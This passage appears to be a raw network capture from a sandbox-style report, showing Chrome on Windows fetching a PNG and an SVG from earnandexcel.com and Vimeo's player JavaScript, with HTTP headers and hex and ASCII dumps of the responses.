2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 29 b1 9b fa 1d c7 42 f1 0f ec e0 52 b6 08 da a1 e0 d0 8c 11 5c f4 57 b2 43 d7 ed 2d f3 6d 74 8e 86 b1 27 94 6e 56 45 e1 2a cb 23 e6 84 2e c1 ba c6 75 29 69 c1 93 46 23 39 39 11 30 25 e6 c2 80 7a bc 11 d5 a5 35 d3 8c 33 52 50 42 58 c1 25 2d 88 0c 72 e3 d3 4e 5a 53 68 99 3f a2 e4 7b 86 f9 8a ee 28 31 34 af 2b 2c b2 62 01 e6 20 9c 75 91 05 a7 1f 60 a1 b3 4f 53 ea fb 47 6e ff d2 bb c0 04 63 46 cf 33 02 25 32 d0 00 de 25 02 19 c3 0c fb 7f 46 ac 81 6f e4 1c 5d 54 96 4b 33 ee 6e be cf 11 c5 c9 6e 28 bc e3 b2 e4 cf 99 0f 6f 0b 0d 84 cc b0 ad e6 d1 77 6d 6d 5e 25 85 29 71 37 f4 20 25 26 54 11 99 35 4b 22 97 6e 1c 83 28 e1 37 91 ed a6 6a ef 00 91 3d df 42 02 5b 4d 27 d1 57 17 32 1c cb 7a e3 57 08 79 d5 95 70 8d 12 0f c9 61 7d 58 68 03 01 22 fb cb ad 1f ba 07 94 78 Data Ascii: )BR\WC-mt'nVE*#.u)iF#990%z53RPBX%-rNZSh?{(14+,b u`OSGncF3%2%Fo]TK3nn(owmm^%)q7 %&T5K"n(7j=B[M'W2zWypa}Xh"x
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 8c 04 8a 71 99 09 1d 2d 88 63 3d f4 ff 5a 60 be ab e3 29 80 97 4a 15 04 99 69 4d 09 e3 42 16 84 15 45 c1 ee a2 c3 2e a3 2e 98 53 57 5c 11 28 d2 82 5b 5a 10 35 13 b4 a0 bc ac 83 71 6c ae f4 87 84 ed 12 a2 c4 d3 ca 71 a7 52 62 c6 6a df fb e1 61 bb a9 6b 19 bf 27 32 06 a6 22 a4 a5 5a e0 69 56 02 f3 7a de d3 d6 8f b3 6b 59 46 41 6b be 19 42 bc 98 fa 8b 95 9c cb 93 12 6f 55 b0 50 2c 36 8d 12 27 2e 48 89 07 38 ee fb 19 25 3e 72 cf 34 0c c3 b4 fc 85 91 58 11 59 80 79 f5 59 4a 62 2f 55 4a ec ad 72 e0 75 ec 6f 55 9c 9d e8 f1 a4 c4 5a 94 b0 80 b3 23 32 1c c2 41 09 35 15 c1 68 3b 89 19 97 27 e2 7a 4b 45 e8 54 55 e5 8c ff e2 c7 e6 d9 54 43 8a 62 b3 10 e0 d7 3f 0c 45 ab f6 41 67 80 c8 1a a9 4a 89 9d 86 b1 26 bd 6d fe 86 13 e6 6e 1e da 77 11 8a 15 3d 13 b7 4d 26 70 94 Data Ascii: q-c=Z`)JiMBE..SW\([Z5qlqRbjak'2"ZiVzkYFAkBoUP,6'.H8%>r4XYyYJb/UJruoUZ#2A5h;'zKETUTCb?EAgJ&mnw=M&p
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: ab 25 46 8a e1 b5 fc eb 70 ed 15 e3 22 f1 e2 bf 8f c8 69 cb ef 53 ea a4 05 8b 6c e8 9f e8 f2 95 c1 94 58 60 57 0b a2 d6 e7 1a 2d 68 12 35 4d 9d 50 a2 a5 1c e7 94 f8 36 c8 f5 23 50 64 3d d7 d6 0d f2 f6 fd d3 28 a1 b4 61 13 5d ab 94 b8 c4 b2 f1 dd 30 cc 8f 93 12 67 63 fb 5b 94 38 87 b3 04 a7 ec b5 41 ca 6f 07 1c f3 f9 93 d5 88 75 80 e7 b9 55 3c 56 a9 65 9b a6 1d 56 57 46 02 65 bd 57 ac 58 2d d0 78 c0 87 cb f9 52 dd e7 bb fc cc 30 30 bc 59 e0 28 54 7e 8c 92 ba fd 84 aa e5 3a c0 73 3b 4e a8 28 13 41 31 66 0c 13 3d 3a ec 08 98 12 1b 0b f1 c0 79 4f 48 aa 3a 57 47 23 0b 76 cb e3 09 e2 a6 a4 44 8c 8e 2a 32 a6 dc 89 a7 44 87 f9 ff a3 c4 a9 83 7e ec 51 61 f8 9b 94 d8 e1 d2 86 11 44 63 2a 95 37 02 cb a0 cd c3 5b be 4b 93 05 77 f9 2e f3 eb f8 49 8f 3b 86 c5 6a 6a 94 Data Ascii: %Fp"iSlX`W-h5MP6#Pd=(a]0gc[8AouU<VeVWFeWX-xR00Y(T~:s;N(A1f=:yOH:WG#vD2D~QaDc7[Kw.I;jj
2024-04-11 21:26:40 UTC	663	IN	Data Raw: 1e 73 56 67 5f ba c4 1a 6d e2 f4 a2 6f 94 d8 3d e6 71 de 75 80 d7 5e 32 58 f7 b4 7c 40 89 17 5b e3 5c b7 5b 11 82 f8 0b 46 64 a7 05 48 89 ab d7 ed c1 d6 5c 03 94 d8 4f 06 55 64 ad c4 cb 6e 7e d5 78 44 c3 6a 7c 21 4b d0 5a 34 6a e2 f8 d1 b9 44 31 a1 37 4a 5c b0 64 55 45 26 87 f9 eb 0e 9e 47 c5 83 50 34 9e 00 21 bb d1 70 55 a8 d1 9e 60 de ec 96 69 9a 56 5a c5 41 7c 97 c8 b3 9f bc e2 cb cd 2c e0 53 73 4e 85 a7 21 88 93 12 77 f3 d1 5b ce 9b 89 ee 94 37 da 28 9b 2d d0 78 1c 2f df d0 d0 04 5f 67 aa 7a 1b c8 cd 0a c2 cb 2c bb e5 f1 10 46 85 56 6a 63 5e 87 11 3d 3a 64 7c 7b d3 0b d5 fa 58 0e 99 a5 5d 67 da b5 ce fb a7 33 e3 e7 fe 74 0c 8b 6c 61 e1 b7 f7 d7 3a 22 4e fe d7 a8 58 b2 26 4a 98 5e 0d e9 32 e6 9b 20 25 7e 28 32 e7 9b 3b 6c cc 12 8b b1 ed 2d 6b 4a b7 39 Data Ascii: sVg_mo=qu^2X\|@[\[FdH\OUdn~xDj\|!KZ4jD17J\dUE&GP4!pU`iVZA\|,SsN!w[7(-x/_gz,FVjc^=:d\|{X]g3tla:"NX&J^2 %~(2;l-kJ9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.17	49759	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	653	OUT	GET /wp-content/uploads/edumall-shape-grid-dots-02.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0
2024-04-11 21:26:40 UTC	902	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:40 GMT Content-Type: image/png Content-Length: 2794 Connection: close CF-Ray: 872e0e66be0a43ef-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32f1-aea" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:25 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RRi4rvSD5duDHmkzZXrBdeRGpRDH3yU2PasKkgRE%2BQr6kpakbFen0%2BQz%2BncHWoxti5qIbfsrW0t57xVQ2PHEcM90cSSEU4Lx5uCEqGjnYLIHs6Hj721mmTqpmFgOGjYERc0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:40 UTC	467	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 88 00 00 00 88 08 06 00 00 00 3c ba a3 52 00 00 0a b1 49 44 41 54 78 da ec 9d db 72 1b 45 10 86 37 70 c9 e1 0a 28 a0 38 1f 9e 82 53 38 c4 41 d6 ec 0b 40 41 15 c7 e7 c8 f3 24 c1 8a 0d 18 cb 91 35 0b e2 61 a8 04 8a c4 b6 a4 4b d0 e7 a8 63 23 2d d9 ee 8e 4b e5 75 fa af d2 c5 c8 f3 cf df 3b 3d b3 aa ea 43 b9 00 d3 9b e5 2b d3 aa fc 67 5a a5 7e 61 c4 34 97 3f c1 bd b3 d7 79 d3 c4 db 5b 7f 15 de 34 a7 1d b3 66 95 7e 3e d2 1c 74 df b0 f0 fe ce 9f be 76 4f b3 fc c5 aa 09 07 2e 6b 58 78 d8 08 0f 9b ed 9a 69 07 2e 7b 65 e1 e1 0b 78 f8 c6 b1 b7 7d b8 9c 89 e3 4d cb e5 bb 7c 39 c9 69 c4 f8 56 be f8 64 d1 80 3f fa 6b 4f cc 37 7c 08 f7 20 a7 8b b2 68 13 98 77 5f b3 4a bf 99 35 73 ca 70 a7 c3 f2 03 93 e6 a0 fb de Data Ascii: PNGIHDR<RIDATxrE7p(8S8A@A$5aKc#-Ku;=C+gZ~a4?y[4f~>tvO.kXxi.{ex}M\|9iVd?kO7\| hw_J5sp
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: e6 5f 56 85 11 2c 02 77 bc 73 f9 05 0b ef 60 bb f3 ac bc 7a 1d bf cd 37 e1 1e e6 f5 e7 4d 9a fd b5 e7 e4 d5 6b d5 84 03 97 35 2c 3c 6c 84 87 cd 8e e7 cc 70 d9 2b 0b 0f 5f c0 13 07 5b c0 19 80 cb 99 f8 cf ef cf 74 98 be ac bb c5 9a 1b 06 f7 af ed ce d3 2a c2 29 6a de de 7c e7 29 0b 8f f9 5e 4d 38 0f a3 89 cd 5e 4d f6 ca c2 c3 17 a7 a2 19 08 04 02 81 40 20 10 08 04 02 81 40 20 f0 a8 81 64 ce 74 58 7e 26 21 59 0b 48 0c c1 25 20 64 0e 94 a1 39 e8 7e d8 0a cd 19 07 2e 6b 58 03 65 f0 b0 b9 15 9a b3 33 00 57 12 7c 8a 50 bb 2e ec 3d de bd f4 e2 0a 43 ed 03 09 ef 9f f5 50 bb 84 bd b1 79 55 a1 76 7c a1 08 ef eb 42 ed d4 29 60 88 24 77 18 13 a2 d5 dc 62 e6 4e aa 74 4b 0e d7 ec d3 53 25 eb 72 ba be a8 c9 c9 d5 dc a8 25 cd 2a 6d e8 92 75 e5 0f a2 09 9f 75 58 cf aa c9 Data Ascii: _V,ws`z7Mk5,<lp+_[t)j\|)^M8^M@ @ dtX~&!YH% d9~.kXe3W\|P.=CPyUv\|B)`$wbNtKS%r%muuX
2024-04-11 21:26:40 UTC	958	IN	Data Raw: 34 3d 6a f7 a8 7d f4 a8 dd 62 9d c5 ba d1 62 9d e5 7e cb fd a3 e5 7e 0d 43 1a 86 46 0d 43 5a 0e b5 1c 6e b4 1c 1e 97 b1 56 cd c7 d5 14 42 08 21 84 10 42 08 21 8e 18 a7 72 d1 9a 9a 35 9e d7 60 7a 0d e6 e8 35 98 5e a4 eb 45 ba a3 17 e9 ee 4f 35 d7 ab b8 f7 f3 2a 6e 2f f3 f7 32 ff 4d 9a b4 fd 1c 88 9f 03 d9 e8 28 f3 83 42 07 f2 71 9f 9d 7d 50 48 08 21 84 10 42 08 21 84 10 e2 d4 c0 41 cc e2 f4 ec 1d f1 bb ce c1 0a dc ce a1 15 3c 8e 78 0f 41 13 0e dc ce a1 15 3c c6 7c 10 9a 8b 3d 00 d7 f0 b6 e1 ed f4 97 b7 af 29 65 47 78 9b 76 3a bc 0d 77 59 dc b9 c3 4b 40 c1 28 93 52 1b 6a 66 c3 db ff d2 ec 04 a9 b3 9a 3c c3 b3 9d c0 38 63 63 8c ab 9a fc 86 ac 26 73 13 9a cc 59 2e bc bd ae 99 0d 6f 0f 35 69 6f 2c bd 1b de 3e b1 f0 f6 06 8b c1 bd fb e8 e6 fc 65 fc 8b a4 9d 0d Data Ascii: 4=j}bb~~CFCZnVB!B!r5`z5^EO5*n/2M(Bq}PH!B!A<xA<\|=)eGxv:wYK@(Rjf<8cc&sY.o5io,>e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.17	49768	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	487	OUT	GET /wp-content/themes/edumall/assets/svg/headline-curve.svg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22}
2024-04-11 21:26:40 UTC	917	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:40 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e679fad7286-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-246" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZekZTfk2YDHpS0ZAHRyqIV0pDqfp0%2BRFQ5J59i5d7qMuNrJ3VjtydsLCMwAAfStaOaVXAl1XlInnGDhrJ%2BSrQQ%2BAfnyTn3VRbdTjl5T2fSb6VwDqvEgzmZdg9%2BXmyVQEBZ8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:40 UTC	452	IN	Data Raw: 32 34 36 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 39 31 70 78 22 20 68 65 69 67 68 74 3d 22 31 32 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 39 31 20 31 32 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 46 46 43 32 32 31 22 20 64 3d 22 4d 30 2e 39 38 30 31 39 37 30 36 31 2c 39 2e 30 39 33 30 36 35 32 31 20 43 32 35 2e 35 36 38 31 37 39 31 2c 30 2e 30 30 31 35 32 39 38 38 36 35 37 20 35 35 2e 31 34 32 37 39 32 39 2c 2d 32 2e 32 36 36 39 37 37 34 32 20 38 39 2e 36 39 35 33 38 31 38 2c 32 2e 32 36 32 36 39 35 36 35 20 43 39 30 2e 35 31 36 37 38 30 37 2c 32 2e 33 37 30 33 37 36 39 38 20 39 31 Data Ascii: 246<svg width="91px" height="12px" viewBox="0 0 91 12" version="1.1" xmlns="http://www.w3.org/2000/svg"> <path fill="#FFC221" d="M0.980197061,9.09306521 C25.5681791,0.00152988657 55.1427929,-2.26697742 89.6953818,2.26269565 C90.5167807,2.37037698 91
2024-04-11 21:26:40 UTC	137	IN	Data Raw: 30 2e 33 38 30 38 30 36 39 37 37 2c 31 31 2e 37 39 37 31 39 32 35 20 30 2e 30 39 33 35 30 32 36 39 31 32 2c 31 31 2e 30 32 30 31 38 30 34 20 43 2d 30 2e 31 39 33 38 30 31 35 39 35 2c 31 30 2e 32 34 33 31 36 38 34 20 30 2e 32 30 33 31 38 34 39 39 37 2c 39 2e 33 38 30 33 36 39 35 20 30 2e 39 38 30 31 39 37 30 36 31 2c 39 2e 30 39 33 30 36 35 32 31 20 5a 22 3e 3c 2f 70 61 74 68 3e 0a 3c 2f 73 76 67 3e 0a 0d 0a Data Ascii: 0.380806977,11.7971925 0.0935026912,11.0201804 C-0.193801595,10.2431684 0.203184997,9.3803695 0.980197061,9.09306521 Z"></path></svg>
2024-04-11 21:26:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.17	49762	199.232.38.109	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	573	OUT	GET /p/4.29.4/js/player.module.js HTTP/1.1 Host: f.vimeocdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://player.vimeo.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://player.vimeo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:40 UTC	448	IN	HTTP/1.1 200 OK Connection: close Content-Length: 586902 Content-Type: application/javascript Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 5263 Date: Thu, 11 Apr 2024 21:26:40 GMT X-Served-By: cache-iad-kcgs7200080-IAD, cache-lga21948-LGA X-Cache: HIT, HIT X-Cache-Hits: 63, 0 X-Timer: S1712870800.478513,VS0,VE2 Vary: Accept-Encoding,x-http-method-override Cache-Control: max-age=1209600 Access-Control-Allow-Origin: *
2024-04-11 21:26:40 UTC	1371	IN	Data Raw: 2f 2a 20 56 69 6d 65 6f 50 6c 61 79 65 72 20 2d 20 76 34 2e 32 39 2e 34 20 2d 20 32 30 32 34 2d 30 34 2d 31 31 20 2d 20 68 74 74 70 73 3a 2f 2f 70 6c 61 79 65 72 2e 76 69 6d 65 6f 2e 63 6f 6d 2f 4e 4f 54 49 43 45 2e 74 78 74 20 2a 2f 0a 69 6d 70 6f 72 74 7b 5f 20 61 73 20 65 2c 64 20 61 73 20 74 2c 61 20 61 73 20 6e 2c 69 2c 73 20 61 73 20 6f 2c 43 20 61 73 20 72 2c 63 20 61 73 20 61 2c 62 20 61 73 20 73 2c 65 20 61 73 20 6c 2c 4c 20 61 73 20 63 2c 67 20 61 73 20 64 2c 66 20 61 73 20 75 2c 78 20 61 73 20 70 2c 68 20 61 73 20 5f 2c 6a 20 61 73 20 76 2c 56 20 61 73 20 6d 2c 6b 20 61 73 20 66 2c 72 20 61 73 20 68 2c 6d 20 61 73 20 67 2c 70 20 61 73 20 62 2c 50 20 61 73 20 45 2c 54 20 61 73 20 79 2c 6c 20 61 73 20 43 2c 6e 20 61 73 20 54 2c 6f 20 61 73 20 77 Data Ascii: /* VimeoPlayer - v4.29.4 - 2024-04-11 - https://player.vimeo.com/NOTICE.txt */import{_ as e,d as t,a as n,i,s as o,C as r,c as a,b as s,e as l,L as c,g as d,f as u,x as p,h as _,j as v,V as m,k as f,r as h,m as g,p as b,P as E,T as y,l as C,n as T,o as w
2024-04-11 21:26:40 UTC	1371	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 29 7c 7c 22 22 2c 69 3d 6e 65 77 20 52 65 67 45 78 70 28 22 28 3f 3a 5e 7c 5c 5c 73 29 22 2b 74 2b 22 28 3f 21 5c 5c 53 29 22 2c 22 67 22 29 3b 6e 3d 6e 2e 72 65 70 6c 61 63 65 28 69 2c 22 22 29 2e 74 72 69 6d 28 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 2c 6e 29 7d 2c 74 6f 67 67 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 63 6f 6e 74 61 69 6e 73 28 65 29 3f 74 68 69 73 2e 72 65 6d 6f 76 65 28 65 29 3a 74 68 69 73 2e 61 64 64 28 65 29 7d 7d 7d 7d 29 3b 6c 65 74 20 6f 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 74 28 65 3d 22 22 2c 74 3d 7b 7d 29 7b 76 61 72 20 6e 3b 69 66 28 28 6e 75 6c 6c Data Ascii: function(t){var n=e.getAttribute("class")\|\|"",i=new RegExp("(?:^\|\\s)"+t+"(?!\\S)","g");n=n.replace(i,"").trim(),e.setAttribute("class",n)},toggle:function(e){this.contains(e)?this.remove(e):this.add(e)}}}});let ot={};function rt(e="",t={}){var n;if((null
2024-04-11 21:26:40 UTC	1371	IN	Data Raw: 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 3b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 6d 73 46 75 6c 6c 73 63 72 65 65 6e 45 6c 65 6d 65 6e 74 26 26 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 3d 77 69 6e 64 6f 77 26 26 65 2e 6f 66 66 73 65 74 57 69 64 74 68 3c 65 2e 63 6c 69 65 6e 74 57 69 64 74 68 26 26 28 74 3d 7b 62 6f 74 74 6f 6d 3a 31 30 30 2a 74 2e 62 6f 74 74 6f 6d 2c 6c 65 66 74 3a 31 30 30 2a 74 2e 6c 65 66 74 2c 74 6f 70 3a 31 30 30 2a 74 2e 74 6f 70 2c 72 69 67 68 74 3a 31 30 30 2a 74 2e 72 69 67 68 74 2c 77 69 64 74 68 3a 31 30 30 2a 74 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 31 30 30 2a 74 2e 68 65 69 67 68 74 7d 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 55 Data Ascii: oundingClientRect();return document.msFullscreenElement&&window.parent!==window&&e.offsetWidth<e.clientWidth&&(t={bottom:100t.bottom,left:100t.left,top:100t.top,right:100t.right,width:100t.width,height:100t.height}),t}function vt(e){try{return new U
2024-04-11 21:26:40 UTC	1371	IN	Data Raw: 6d 65 6f 28 77 73 29 3f 7c 76 69 6d 65 6f 2d 28 65 6e 74 65 72 70 72 69 73 65 7c 77 6f 72 6b 29 29 5c 2e 28 63 6f 6d 7c 64 65 76 7c 77 6f 72 6b 29 7c 28 76 69 64 65 6f 6a 69 7c 76 69 64 65 6f 73 68 69 70 69 6e 75 72 6c 29 5c 2e 68 6b 29 5c 2f 76 69 64 65 6f 5c 2f 5c 64 2b 5c 2f 63 6f 6e 66 69 67 28 3f 3d 24 7c 5c 3f 29 2f 2e 74 65 73 74 28 65 29 7d 28 69 29 29 72 65 74 75 72 6e 20 69 3b 63 6f 6e 73 74 20 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 73 74 28 65 29 29 72 65 74 75 72 6e 20 70 61 72 73 65 49 6e 74 28 65 2c 31 30 29 3b 63 6f 6e 73 74 20 74 3d 65 2e 6d 61 74 63 68 28 2f 28 76 69 64 65 6f 7c 5c 2e 63 6f 6d 7c 5c 2e 64 65 76 29 5c 2f 28 5c 64 2b 29 2f 29 3b 69 66 28 21 74 7c 7c 74 2e 6c 65 6e 67 74 68 3c 33 29 74 68 72 6f 77 20 6e 65 77 20 Data Ascii: meo(ws)?\|vimeo-(enterprise\|work))\.(com\|dev\|work)\|(videoji\|videoshipinurl)\.hk)\/video\/\d+\/config(?=$\|\?)/.test(e)}(i))return i;const r=function(e){if(st(e))return parseInt(e,10);const t=e.match(/(video\|\.com\|\.dev)\/(\d+)/);if(!t\|\|t.length<3)throw new
2024-04-11 21:26:40 UTC	1371	IN	Data Raw: 6c 79 28 76 6f 69 64 20 30 2c 6e 29 29 29 7d 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 3f 41 72 72 61 79 2e 66 72 6f 6d 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 63 68 69 6c 64 72 65 6e 29 2e 69 6e 64 65 78 4f 66 28 65 29 3a 2d 31 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 3b 28 6e 75 6c 6c 3d 3d 28 6e 3d 65 29 3f 76 6f 69 64 20 30 3a 6e 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 26 26 21 54 74 28 65 2c 74 29 3b 29 7b 76 61 72 20 6e 3b 65 3d 65 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 7d 72 65 74 75 72 6e 20 54 74 28 65 2c 74 29 3f 65 3a 6e 75 6c 6c 7d 29 29 3b 6c 65 74 20 6b 74 3d 30 3b 66 75 6e 63 74 69 6f 6e 20 49 74 28 65 3d 22 70 22 29 7b 72 65 74 75 72 6e 60 24 7b 65 7d 24 7b 2b 2b 6b 74 7d 60 7d 63 Data Ascii: ly(void 0,n)))}((function(e){return e?Array.from(e.parentNode.children).indexOf(e):-1}),(function(e,t){for(;(null==(n=e)?void 0:n.parentElement)&&!Tt(e,t);){var n;e=e.parentElement}return Tt(e,t)?e:null}));let kt=0;function It(e="p"){return`${e}${++kt}`}c
2024-04-11 21:26:40 UTC	1371	IN	Data Raw: 72 65 6d 6f 76 65 43 61 72 64 3a 49 74 28 29 2c 5f 63 68 61 6e 67 65 50 6c 61 79 62 61 63 6b 52 61 74 65 3a 49 74 28 29 2c 5f 64 65 73 74 72 6f 79 3a 49 74 28 29 2c 5f 63 68 61 6e 67 65 41 75 64 69 6f 54 72 61 63 6b 3a 49 74 28 29 2c 5f 72 65 71 75 65 73 74 43 6f 6d 70 6c 65 74 65 4c 69 76 65 53 75 62 74 69 74 6c 65 73 3a 49 74 28 29 2c 5f 63 6c 6f 73 65 52 65 6d 6f 74 65 43 6f 6d 70 6f 6e 65 6e 74 3a 49 74 28 29 2c 5f 75 70 64 61 74 65 4c 69 76 65 53 75 62 74 69 74 6c 65 52 65 71 75 65 73 74 73 3a 49 74 28 29 7d 2c 4e 74 3d 7b 77 69 6c 6c 3a 22 77 69 6c 6c 4c 69 6b 65 56 69 64 65 6f 22 2c 64 69 64 3a 22 64 69 64 4c 69 6b 65 56 69 64 65 6f 22 7d 2c 44 74 3d 7b 77 69 6c 6c 3a 22 77 69 6c 6c 55 6e 6c 69 6b 65 56 69 64 65 6f 22 2c 64 69 64 3a 22 64 69 64 55 Data Ascii: removeCard:It(),_changePlaybackRate:It(),_destroy:It(),_changeAudioTrack:It(),_requestCompleteLiveSubtitles:It(),_closeRemoteComponent:It(),_updateLiveSubtitleRequests:It()},Nt={will:"willLikeVideo",did:"didLikeVideo"},Dt={will:"willUnlikeVideo",did:"didU
2024-04-11 21:26:40 UTC	722	IN	Data Raw: 73 63 72 75 62 62 69 6e 67 45 6e 64 65 64 3a 49 74 28 29 2c 5f 76 6f 6c 75 6d 65 53 63 72 75 62 62 69 6e 67 53 74 61 72 74 65 64 3a 49 74 28 29 2c 5f 76 6f 6c 75 6d 65 53 63 72 75 62 62 69 6e 67 45 6e 64 65 64 3a 49 74 28 29 2c 5f 63 6f 6e 74 72 6f 6c 42 61 72 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 64 3a 49 74 28 29 2c 5f 74 6f 61 73 74 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 64 3a 49 74 28 29 2c 5f 73 69 64 65 64 6f 63 6b 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 64 3a 49 74 28 29 2c 5f 6d 65 6e 75 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 64 3a 49 74 28 29 2c 5f 63 61 70 74 69 6f 6e 73 43 68 61 6e 67 65 64 3a 49 74 28 29 2c 5f 63 75 65 50 6f 69 6e 74 41 64 64 65 64 3a 49 74 28 29 2c 5f 63 75 65 50 6f 69 6e 74 52 65 6d 6f 76 Data Ascii: scrubbingEnded:It(),_volumeScrubbingStarted:It(),_volumeScrubbingEnded:It(),_controlBarVisibilityChanged:It(),_toastVisibilityChanged:It(),_sidedockVisibilityChanged:It(),_menuVisibilityChanged:It(),_captionsChanged:It(),_cuePointAdded:It(),_cuePointRemov
